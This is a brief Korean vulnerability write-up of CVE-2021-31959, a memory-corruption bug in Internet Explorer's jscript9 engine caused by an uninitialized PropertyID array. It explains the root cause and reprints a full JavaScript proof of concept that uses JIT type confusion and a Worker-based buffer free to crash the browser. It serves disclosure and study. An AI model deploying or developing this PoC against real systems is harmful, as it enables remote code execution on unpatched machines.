[하루한줄] CVE-2021-31959: Internet Explorer Uninitialized Property ID array

URL

Issue 2168: Internet Explorer: Memory corruption in jscript9.dll due to uninitialized Property ID array

Target

  • Internet Explorer (Windows 10)

Explain

MS에서 지원을 2022년 6월에 완전히 종료하겠다고 밝힌 Internet Explorer에서 초기화되지 않은 배열 요소의 사용으로 인한 취약점이 발견되어 세부 정보가 공개되었습니다.

취약점은 jscript9의 PropertyID 배열의 처리 방식에 존재합니다. PropertyID 배열은 ByteCodeGenerator::EmitScopeObjectInit 함수에 할당됩니다. 이때 할당 시 메모리를 초기화하지 않는 ArenaAllocator::Alloc 함수를 사용해 배열을 할당하므로 배열의 일부가 초기화되지 않은 상태로 유지됩니다.

이러한 초기화되지 않은 PropertyID로 변수의 scope를 속일 수 있습니다. 이를 악용하면 정상적인 방법으로 액세스 할 수 없는 변수에 액세스 할 수 있으며 원격 코드 실행으로 이어질 수 있습니다. 해당 취약점은 CVE-2020-1380과 동일한 방법으로 JIT 엔진을 사용해 트리거할 수 있습니다.

PoC Code

<!-- saved from url=(0014)about:internet -->
<script>

alert('start');

// prepare objects
var buf = new ArrayBuffer(0x8c);
var arr = new Int32Array(buf);

var o = {};
o.valueOf = function() {
    alert('callback');
    // free 
    worker = new Worker('worker.js');
    worker.postMessage(buf, [buf]);
    worker.terminate();
    worker = null;

    // sleep
    var start = Date.now();
    while (Date.now() - start < 200) {}
    // TODO: reclaim freed memory

    return 0
};

// generate function from string in order to have a clean bytecode generator
var vulnstr =
"for (let i=0; i<1; i++) {\n" +
"    function opt(A, x, crash) {\n" +
"        'use strict';\n" +
"        const aagaaaaaaahabauaaaaa = x+1;\n" + //special variable name so that hash is eqal to 0x109 (property ID of Int16Array)
"        const c02 = aagaaaaaaahabauaaaaa+1;\n" +
"        const c03 = c02+1;\n" +
"        const c04 = c03+1;\n" +
"        const c05 = c04+1;\n" +
"        let c06 = c05+1;\n" +  // this variable will alias with Int16Array
"        const c07 = c06+1;\n" +
"        const c08 = c07+1;\n" +
"        const c09 = c08+1;\n" +
"        const c10 = c09+1;\n" +
"        const c11 = c10+1;\n" +
"        const c12 = c11+1;\n" +
"        const c13 = c12+1;\n" +
"        const c14 = c13+1;\n" +
"        const c15 = c14+1;\n" +
"        const c16 = c15+1;\n" +
"        const c17 = c16+1;\n" +
"        const c18 = c17+1;\n" +
"        const c19 = c18+1;\n" +
"        const c20 = c19+1;\n" +
"        const c21 = c20+1;\n" +
"        const c22 = c21+1;\n" +
"        const c23 = c22+1;\n" +
"        const c24 = c23+1;\n" +
"        const c25 = c24+1;\n" +
"        const c26 = c25+1;\n" +
"        const c27 = c26+1;\n" +
"        const c28 = c27+1;\n" +
"        const c29 = c28+1;\n" +
"        const c30 = c29+1;\n" +
"        const c31 = c30+1;\n" +
"        const c32 = c31+1;\n" +
"        const c33 = c32+1;\n" +
"        const c34 = c33+1;\n" +
"        const c35 = c34+1;\n" +
"        const c36 = c35+1;\n" +
"        const c37 = c36+1;\n" +
"        const c38 = c37+1;\n" +
"        if(crash) {\n" +
"          c06 = c06 + 1;\n" + // we must change it here so that the value below is not known
"          Int16Array = o;\n" + // here we actually change the value (and type) of c06
"        }\n" +
"        A[0] = c06;\n" + // if crash==1, c06 is an object here, but JIT thinks it's an integer
"        eval(1);\n" +  // needed to trigger ByteCodeGenerator::EmitScopeObjectInit
"    }\n" +
"    for(var i=0; i<100000; i++) {\n" + // jit a function
"      opt(arr, 1, 0);\n" +
"    }\n" +
"    opt(arr, 1, 1);\n" +
"    alert('failed');\n" +
"}";

vuln = Function(vulnstr);
vuln();

</script>